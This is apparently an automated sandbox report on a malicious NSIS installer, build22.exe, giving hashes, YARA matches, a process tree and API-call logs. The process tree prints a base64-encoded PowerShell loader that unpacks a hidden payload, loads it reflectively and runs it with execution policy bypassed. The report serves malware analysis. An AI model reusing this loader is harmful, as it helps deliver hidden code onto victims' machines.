Summary | ZeroBOX

Category	Machine	Started	Completed
FILE	s1_win7_x6401	May 3, 2024, 7:38 a.m.	May 3, 2024, 7:40 a.m.

Size	409.7KB
Type	PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
MD5	`06c758c576de9e18db3394f1044b27ae`
SHA256	`87c06023a062f0ae515fb03014748a0b51d5e8011f573073224728c6c942b89e`
CRC32	`EEA3705E`
ssdeep	`6144:3fL+oq6TOjuB6K15Xlh+bPZdc2zrnFZY528PgBY+lxEe4ShVnZbXMQ3se:3fLD9B6UxlEPZ6KTLY8XEe4knZbX/3H`
Yara	Malicious_Library_Zero - Malicious_Library PE_Header_Zero - PE File Signature NSIS_Installer - Null Soft Installer IsPE32 - (no description) UPX_Zero - UPX packed file

build22.exe "C:\Users\test22\AppData\Local\Temp\build22.exe"
2548
- wscript.exe "wscript.exe" "C:\Users\test22\start.vbs"
  2668
  - cmd.exe cmd /c ""C:\Users\test22\temp.bat" "
    2744
    - powershell.exe "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -command "[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('IyAiSGUgd2hvIGhhcyBhIHdoeSB0byBsaXZlIGNhbiBiZWFyIGFsbW9zdCBhbnkgaG93LiINCiMgIlRvIGxpdmUgaXMgdG8gc3VmZmVyLCB0byBzdXJ2aXZlIGlzIHRvIGZpbmQgc29tZSBtZWFuaW5nIGluIHRoZSBzdWZmZXJpbmcuIg0KIyAiV2l0aG91dCBtdXNpYywgbGlmZSB3b3VsZCBiZSBhIG1pc3Rha2UuIg0KDQpmdW5jdGlvbiBEZWNvbXByZXNzQnl0ZXMoJGNvbXByZXNzZWREYXRhKSB7ICRtcyA9IFtJTy5NZW1vcnlTdHJlYW1dOjpuZXcoKFtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoJGNvbXByZXNzZWREYXRhKSkpOyAkbXMuUG9zaXRpb24gPSAwOyAkZGVmbGF0ZVN0cmVhbSA9IFtJTy5Db21wcmVzc2lvbi5EZWZsYXRlU3RyZWFtXTo6bmV3KCRtcywgW0lPLkNvbXByZXNzaW9uLkNvbXByZXNzaW9uTW9kZV06OkRlY29tcHJlc3MpOyAkYnVmZmVyID0gW2J5dGVbXV06Om5ldyg0MDk2KTsgJG1zID0gW0lPLk1lbW9yeVN0cmVhbV06Om5ldygpOyB3aGlsZSAoJHRydWUpIHsgJGNvdW50ID0gJGRlZmxhdGVTdHJlYW0uUmVhZCgkYnVmZmVyLCAwLCAkYnVmZmVyLkxlbmd0aCk7IGlmICgkY291bnQgLWVxIDApIHsgYnJlYWsgfSAkbXMuV3JpdGUoJGJ1ZmZlciwgMCwgJGNvdW50KSB9ICRkZWZsYXRlU3RyZWFtLkNsb3NlKCk7ICRtcy5Ub0FycmF5KCkgfQ0KDQojICJUaGUgc3VyZXN0IHdheSB0byBjb3JydXB0IGEgeW91dGggaXMgdG8gaW5zdHJ1Y3QgaGltIHRvIGhvbGQgaW4gaGlnaGVyIGVzdGVlbSB0aG9zZSB3aG8gdGhpbmsgYWxpa2UgdGhhbiB0aG9zZSB3aG8gdGhpbmsgZGlmZmVyZW50bHkuIg0KIyAiSW4gaGVhdmVuLCBhbGwgdGhlIGludGVyZXN0aW5nIHBlb3BsZSBhcmUgbWlzc2luZy4iDQoNCg0KDQpmdW5jdGlvbiBSZXZlcnNlU3RyaW5nKCRpbnB1dFN0cmluZykgew0KICAgICRjaGFyQXJyYXkgPSAkaW5wdXRTdHJpbmcuVG9DaGFyQXJyYXkoKQ0KICAgICRyZXZlcnNlZEFycmF5ID0gJGNoYXJBcnJheVstMS4uLSgkY2hhckFycmF5Lkxlbmd0aCldDQogICAgJHJldmVyc2VkU3RyaW5nID0gLWpvaW4gJHJldmVyc2VkQXJyYXkNCiAgICByZXR1cm4gJHJldmVyc2VkU3RyaW5nDQp9DQojICJUaGVyZSBpcyBhbHdheXMgc29tZSBtYWRuZXNzIGluIGxvdmUuIEJ1dCB0aGVyZSBpcyBhbHNvIGFsd2F5cyBzb21lIHJlYXNvbiBpbiBtYWRuZXNzLiINCiMgIlRoYXQgd2hpY2ggZG9lcyBub3Qga2lsbCB1cyBtYWtlcyB1cyBzdHJvbmdlci4iDQoNCmZ1bmN0aW9uIENsb3NlLVByb2Nlc3Mgew0KICAgIHBhcmFtKA0KICAgICAgICBbc3RyaW5nXSRQcm9jZXNzTmFtZQ0KICAgICkNCg0KICAgICRwcm9jZXNzID0gR2V0LVByb2Nlc3MgLU5hbWUgJFByb2Nlc3NOYW1lIC1FcnJvckFjdGlvbiBTaWxlbnRseUNvbnRpbnVlDQoNCiAgICBpZiAoJHByb2Nlc3MgLW5lICRudWxsKSB7DQogICAgICAgIFN0b3AtUHJvY2VzcyAtTmFtZSAkUHJvY2Vzc05hbWUgLUZvcmNlDQoJfQ0KfQ0KIyAiSW4gaW5kaXZpZHVhbHMsIGluc2FuaXR5IGlzIHJhcmU7IGJ1dCBpbiBncm91cHMsIHBhcnRpZXMsIG5hdGlvbnMsIGFuZCBlcG9jaHMsIGl0IGlzIHRoZSBydWxlLiINCg0KZnVuY3Rpb24gQ05WKCRhcnIpeyANCiAgICAkbz0xMjM7IA0KICAgICRkPSRudWxsOyANCiAgICBmb3JlYWNoKCRpIGluICRhcnIpeyANCiAgICAgICAgaWYgKCRpIC1ndCAxMjcpIHsgDQogICAgICAgICAgICAkZCs9IFtjaGFyXSgkaS0kbykgDQogICAgICAgIH0gZWxzZSB7IA0KICAgICAgICAgICAgJGQrPSBbY2hhcl0oJGkrJG8pIA0KICAgICAgICB9IA0KICAgIH0gDQogICAgcmV0dXJuICRkIA0KfQ0KIyAiVGhlIG1hbiBvZiBrbm93bGVkZ2UgbXVzdCBiZSBhYmxlIG5vdCBvbmx5IHRvIGxvdmUgaGlzIGVuZW1pZXMgYnV0IGFsc28gdG8gaGF0ZSBoaXMgZnJpZW5kcy4iDQojICJBIHRoaW5rZXIgc2VlcyBoaXMgb3duIGFjdGlvbnMgYXMgZXhwZXJpbWVudHMgYW5kIHF1ZXN0aW9ucyDigJQgYXMgYXR0ZW1wdHMgdG8gZmluZCBvdXQgc29tZXRoaW5nLiBTdWNjZXNzIGFuZCBmYWlsdXJlIGFyZSBmb3IgaGltIGFuc3dlcnMgYWJvdmUgYWxsLiINCg0KDQokZW5jb2RlZEFycmF5ID0gQCgxNTksMjIwLDIzOCwyMzgsMjI0LDIzMiwyMjEsMjMxLDI0NCwxNjksMTkyLDIzMywyMzksMjM3LDI0NCwyMDMsMjM0LDIyOCwyMzMsMjM5LDE2OSwxOTYsMjMzLDI0MSwyMzQsMjMwLDIyNCwxNjMsMTU5LDIzMywyNDAsMjMxLDIzMSwxNjcsMTU5LDIzMywyNDAsMjMxLDIzMSwxNjQsMTgyKQ0KJGRlY29kZWRTdHJpbmcgPSBDTlYgJGVuY29kZWRBcnJheQ0KDQoNCiRmaWxlUGF0aCA9IEpvaW4tUGF0aCAkZW52OlVzZXJQcm9maWxlICJTTmZkcUIuYmF0Ig0KJGxhc3RMaW5lID0gR2V0LUNvbnRlbnQgLVBhdGggJGZpbGVQYXRoIHwgU2VsZWN0LU9iamVjdCAtTGFzdCAxDQokY2xlYW5lZExpbmUgPSAkbGFzdExpbmUgLXJlcGxhY2UgJ146OicNCiRyZXZlcnNlID0gUmV2ZXJzZVN0cmluZyAkY2xlYW5lZExpbmUNCiRkZWNvbXByZXNzZWRCeXRlID0gRGVjb21wcmVzc0J5dGVzIC1jb21wcmVzc2VkRGF0YSAkcmV2ZXJzZQ0KIyAiVGhlIG1hbiBvZiBrbm93bGVkZ2UgbXVzdCBiZSBhYmxlIG5vdCBvbmx5IHRvIGxvdmUgaGlzIGVuZW1pZXMgYnV0IGFsc28gdG8gaGF0ZSBoaXMgZnJpZW5kcy4iDQojICJBIHRoaW5rZXIgc2VlcyBoaXMgb3duIGFjdGlvbnMgYXMgZXhwZXJpbWVudHMgYW5kIHF1ZXN0aW9ucyDigJQgYXMgYXR0ZW1wdHMgdG8gZmluZCBvdXQgc29tZXRoaW5nLiBTdWNjZXNzIGFuZCBmYWlsdXJlIGFyZSBmb3IgaGltIGFuc3dlcnMgYWJvdmUgYWxsLiINCg0KJGFzc2VtYmx5ID0gW1N5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5XTo6TG9hZChbYnl0ZVtdXSRkZWNvbXByZXNzZWRCeXRlKQ0KDQokYXNzZW1ibHkgPSBbU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHldOjpMb2FkKFtieXRlW11dJGRlY29tcHJlc3NlZEJ5dGUpDQoNCg0KQ2xvc2UtUHJvY2VzcyAtUHJvY2Vzc05hbWUgImNtZCINCkludm9rZS1FeHByZXNzaW9uICRkZWNvZGVkU3RyaW5n')) | Out-File -FilePath 'C:\Users\test22\SNfdqB.ps1' -Encoding UTF8"
      2808
    - powershell.exe "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -File "C:\Users\test22\SNfdqB.ps1"
      2888

Name	Response	Post-Analysis Lookup
No hosts contacted.

IP Address	Status	Action
No hosts contacted.

Suricata Alerts

No Suricata Alerts

Suricata TLS

No Suricata TLS

Queries for the computername (12 events)

Time & API	Arguments	Status	Return
GetComputerNameW May 3, 2024, 7:38 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW May 3, 2024, 7:38 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW May 3, 2024, 7:38 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW May 3, 2024, 7:38 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameA May 3, 2024, 7:38 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW May 3, 2024, 7:38 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW May 3, 2024, 7:38 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW May 3, 2024, 7:38 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW May 3, 2024, 7:38 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW May 3, 2024, 7:38 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameA May 3, 2024, 7:38 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW May 3, 2024, 7:38 a.m.	computer_name: TEST22-PC	1	1

Checks if process is being debugged by a debugger (2 events)

Time & API	Arguments	Status	Return	Repeated
IsDebuggerPresent May 3, 2024, 7:38 a.m.			0	0
IsDebuggerPresent May 3, 2024, 7:38 a.m.			0	0

Command line console output was observed (50 out of 22007 events)

Time & API	Arguments	Status	Return
WriteConsoleW May 3, 2024, 7:38 a.m.	buffer: Method invocation failed because [System.IO.MemoryStream] doesn't contain a met console_handle: 0x00000023	1	1
WriteConsoleW May 3, 2024, 7:38 a.m.	buffer: hod named 'new'. console_handle: 0x0000002f	1	1
WriteConsoleW May 3, 2024, 7:38 a.m.	buffer: At C:\Users\test22\SNfdqB.ps1:5 char:73 console_handle: 0x0000003b	1	1
WriteConsoleW May 3, 2024, 7:38 a.m.	buffer: + function DecompressBytes($compressedData) { $ms = [IO.MemoryStream]::new <<<< console_handle: 0x00000047	1	1
WriteConsoleW May 3, 2024, 7:38 a.m.	buffer: (([System.Convert]::FromBase64String($compressedData))); $ms.Position = 0; $de console_handle: 0x00000053	1	1
WriteConsoleW May 3, 2024, 7:38 a.m.	buffer: flateStream = [IO.Compression.DeflateStream]::new($ms, [IO.Compression.Compress console_handle: 0x0000005f	1	1
WriteConsoleW May 3, 2024, 7:38 a.m.	buffer: ionMode]::Decompress); $buffer = [byte[]]::new(4096); $ms = [IO.MemoryStream]:: console_handle: 0x0000006b	1	1
WriteConsoleW May 3, 2024, 7:38 a.m.	buffer: new(); while ($true) { $count = $deflateStream.Read($buffer, 0, $buffer.Length) console_handle: 0x00000077	1	1
WriteConsoleW May 3, 2024, 7:38 a.m.	buffer: ; if ($count -eq 0) { break } $ms.Write($buffer, 0, $count) } $deflateStream.Cl console_handle: 0x00000083	1	1
WriteConsoleW May 3, 2024, 7:38 a.m.	buffer: ose(); $ms.ToArray() } console_handle: 0x0000008f	1	1
WriteConsoleW May 3, 2024, 7:38 a.m.	buffer: + CategoryInfo : InvalidOperation: (new:String) [], RuntimeExcept console_handle: 0x0000009b	1	1
WriteConsoleW May 3, 2024, 7:38 a.m.	buffer: ion console_handle: 0x000000a7	1	1
WriteConsoleW May 3, 2024, 7:38 a.m.	buffer: + FullyQualifiedErrorId : MethodNotFound console_handle: 0x000000b3	1	1
WriteConsoleW May 3, 2024, 7:38 a.m.	buffer: Property 'Position' cannot be found on this object; make sure it exists and is console_handle: 0x000000d3	1	1
WriteConsoleW May 3, 2024, 7:38 a.m.	buffer: settable. console_handle: 0x000000df	1	1
WriteConsoleW May 3, 2024, 7:38 a.m.	buffer: At C:\Users\test22\SNfdqB.ps1:5 char:134 console_handle: 0x000000eb	1	1
WriteConsoleW May 3, 2024, 7:38 a.m.	buffer: + function DecompressBytes($compressedData) { $ms = [IO.MemoryStream]::new(([Sy console_handle: 0x000000f7	1	1
WriteConsoleW May 3, 2024, 7:38 a.m.	buffer: stem.Convert]::FromBase64String($compressedData))); $ms. <<<< Position = 0; $de console_handle: 0x00000103	1	1
WriteConsoleW May 3, 2024, 7:38 a.m.	buffer: flateStream = [IO.Compression.DeflateStream]::new($ms, [IO.Compression.Compress console_handle: 0x0000010f	1	1
WriteConsoleW May 3, 2024, 7:38 a.m.	buffer: ionMode]::Decompress); $buffer = [byte[]]::new(4096); $ms = [IO.MemoryStream]:: console_handle: 0x0000011b	1	1
WriteConsoleW May 3, 2024, 7:38 a.m.	buffer: new(); while ($true) { $count = $deflateStream.Read($buffer, 0, $buffer.Length) console_handle: 0x00000127	1	1
WriteConsoleW May 3, 2024, 7:38 a.m.	buffer: ; if ($count -eq 0) { break } $ms.Write($buffer, 0, $count) } $deflateStream.Cl console_handle: 0x00000133	1	1
WriteConsoleW May 3, 2024, 7:38 a.m.	buffer: ose(); $ms.ToArray() } console_handle: 0x0000013f	1	1
WriteConsoleW May 3, 2024, 7:38 a.m.	buffer: + CategoryInfo : InvalidOperation: (Position:String) [], RuntimeE console_handle: 0x0000014b	1	1
WriteConsoleW May 3, 2024, 7:38 a.m.	buffer: xception console_handle: 0x00000157	1	1
WriteConsoleW May 3, 2024, 7:38 a.m.	buffer: + FullyQualifiedErrorId : PropertyNotFound console_handle: 0x00000163	1	1
WriteConsoleW May 3, 2024, 7:38 a.m.	buffer: Method invocation failed because [System.IO.Compression.DeflateStream] doesn't console_handle: 0x00000183	1	1
WriteConsoleW May 3, 2024, 7:38 a.m.	buffer: contain a method named 'new'. console_handle: 0x0000018f	1	1
WriteConsoleW May 3, 2024, 7:38 a.m.	buffer: At C:\Users\test22\SNfdqB.ps1:5 char:200 console_handle: 0x0000019b	1	1
WriteConsoleW May 3, 2024, 7:38 a.m.	buffer: + function DecompressBytes($compressedData) { $ms = [IO.MemoryStream]::new(([Sy console_handle: 0x000001a7	1	1
WriteConsoleW May 3, 2024, 7:38 a.m.	buffer: stem.Convert]::FromBase64String($compressedData))); $ms.Position = 0; $deflateS console_handle: 0x000001b3	1	1
WriteConsoleW May 3, 2024, 7:38 a.m.	buffer: tream = [IO.Compression.DeflateStream]::new <<<< ($ms, [IO.Compression.Compress console_handle: 0x000001bf	1	1
WriteConsoleW May 3, 2024, 7:38 a.m.	buffer: ionMode]::Decompress); $buffer = [byte[]]::new(4096); $ms = [IO.MemoryStream]:: console_handle: 0x000001cb	1	1
WriteConsoleW May 3, 2024, 7:38 a.m.	buffer: new(); while ($true) { $count = $deflateStream.Read($buffer, 0, $buffer.Length) console_handle: 0x000001d7	1	1
WriteConsoleW May 3, 2024, 7:38 a.m.	buffer: ; if ($count -eq 0) { break } $ms.Write($buffer, 0, $count) } $deflateStream.Cl console_handle: 0x000001e3	1	1
WriteConsoleW May 3, 2024, 7:38 a.m.	buffer: ose(); $ms.ToArray() } console_handle: 0x000001ef	1	1
WriteConsoleW May 3, 2024, 7:38 a.m.	buffer: + CategoryInfo : InvalidOperation: (new:String) [], RuntimeExcept console_handle: 0x000001fb	1	1
WriteConsoleW May 3, 2024, 7:38 a.m.	buffer: ion console_handle: 0x00000207	1	1
WriteConsoleW May 3, 2024, 7:38 a.m.	buffer: + FullyQualifiedErrorId : MethodNotFound console_handle: 0x00000213	1	1
WriteConsoleW May 3, 2024, 7:38 a.m.	buffer: Method invocation failed because [System.Byte[]] doesn't contain a method named console_handle: 0x00000233	1	1
WriteConsoleW May 3, 2024, 7:38 a.m.	buffer: 'new'. console_handle: 0x0000023f	1	1
WriteConsoleW May 3, 2024, 7:38 a.m.	buffer: At C:\Users\test22\SNfdqB.ps1:5 char:276 console_handle: 0x0000024b	1	1
WriteConsoleW May 3, 2024, 7:38 a.m.	buffer: + function DecompressBytes($compressedData) { $ms = [IO.MemoryStream]::new(([Sy console_handle: 0x00000257	1	1
WriteConsoleW May 3, 2024, 7:38 a.m.	buffer: stem.Convert]::FromBase64String($compressedData))); $ms.Position = 0; $deflateS console_handle: 0x00000263	1	1
WriteConsoleW May 3, 2024, 7:38 a.m.	buffer: tream = [IO.Compression.DeflateStream]::new($ms, [IO.Compression.CompressionMod console_handle: 0x0000026f	1	1
WriteConsoleW May 3, 2024, 7:38 a.m.	buffer: e]::Decompress); $buffer = [byte[]]::new <<<< (4096); $ms = [IO.MemoryStream]:: console_handle: 0x0000027b	1	1
WriteConsoleW May 3, 2024, 7:38 a.m.	buffer: new(); while ($true) { $count = $deflateStream.Read($buffer, 0, $buffer.Length) console_handle: 0x00000287	1	1
WriteConsoleW May 3, 2024, 7:38 a.m.	buffer: ; if ($count -eq 0) { break } $ms.Write($buffer, 0, $count) } $deflateStream.Cl console_handle: 0x00000293	1	1
WriteConsoleW May 3, 2024, 7:38 a.m.	buffer: ose(); $ms.ToArray() } console_handle: 0x0000029f	1	1
WriteConsoleW May 3, 2024, 7:38 a.m.	buffer: + CategoryInfo : InvalidOperation: (new:String) [], RuntimeExcept console_handle: 0x000002ab	1	1

Uses Windows APIs to generate a cryptographic key (50 out of 89 events)

Time & API	Arguments	Status	Return
CryptExportKey May 3, 2024, 7:38 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00638fb8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 3, 2024, 7:38 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00639578 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 3, 2024, 7:38 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00639578 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 3, 2024, 7:38 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00639578 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 3, 2024, 7:38 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x006398b8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 3, 2024, 7:38 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x006398b8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 3, 2024, 7:38 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x006398b8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 3, 2024, 7:38 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x006398b8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 3, 2024, 7:38 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x006398b8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 3, 2024, 7:38 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x006398b8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 3, 2024, 7:38 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00639438 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 3, 2024, 7:38 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00639438 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 3, 2024, 7:38 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00639438 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 3, 2024, 7:38 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00639578 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 3, 2024, 7:38 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00639578 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 3, 2024, 7:38 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00639578 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 3, 2024, 7:38 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00639078 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 3, 2024, 7:38 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00639578 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 3, 2024, 7:38 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00639578 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 3, 2024, 7:38 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00639578 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 3, 2024, 7:38 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00639578 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 3, 2024, 7:38 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00639578 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 3, 2024, 7:38 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00639578 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 3, 2024, 7:38 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00639578 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 3, 2024, 7:38 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00638c38 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 3, 2024, 7:38 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00638c38 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 3, 2024, 7:38 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00638c38 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 3, 2024, 7:38 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00638c38 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 3, 2024, 7:38 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00638c38 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 3, 2024, 7:38 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00638c38 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 3, 2024, 7:38 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00638c38 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 3, 2024, 7:38 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00638c38 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 3, 2024, 7:38 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00638c38 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 3, 2024, 7:38 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00638c38 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 3, 2024, 7:38 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00638c38 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 3, 2024, 7:38 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00638c38 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 3, 2024, 7:38 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00638c38 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 3, 2024, 7:38 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00638c38 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 3, 2024, 7:38 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00639138 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 3, 2024, 7:38 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00639138 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 3, 2024, 7:38 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00639138 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 3, 2024, 7:38 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00639138 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 3, 2024, 7:38 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00639138 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 3, 2024, 7:38 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00639138 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 3, 2024, 7:38 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00639138 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 3, 2024, 7:38 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x002b4260 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 3, 2024, 7:38 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x002b3de0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 3, 2024, 7:38 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x002b3de0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 3, 2024, 7:38 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x002b3de0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 3, 2024, 7:38 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x002b40a0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1

Checks amount of memory in system, this can be used to detect virtual machines that have a low amount of memory available (1 event)

Time & API	Arguments	Status	Return	Repeated
GlobalMemoryStatusEx May 3, 2024, 7:38 a.m.		1	1	0

The executable contains unknown PE section names indicative of a packer (could be a false positive) (1 event)

section

.ndata

Allocates read-write-execute memory (usually to unpack itself) (50 out of 273 events)

Time & API	Arguments	Status
NtProtectVirtualMemory May 3, 2024, 7:38 a.m.	process_identifier: 2668 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73bc2000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 3, 2024, 7:38 a.m.	process_identifier: 2808 region_size: 589824 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x029a0000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 3, 2024, 7:38 a.m.	process_identifier: 2808 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x029f0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtProtectVirtualMemory May 3, 2024, 7:38 a.m.	process_identifier: 2808 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x72891000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 3, 2024, 7:38 a.m.	process_identifier: 2808 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x027aa000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtProtectVirtualMemory May 3, 2024, 7:38 a.m.	process_identifier: 2808 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 8192 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x72892000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 3, 2024, 7:38 a.m.	process_identifier: 2808 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x027a2000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 3, 2024, 7:38 a.m.	process_identifier: 2808 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x027c2000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
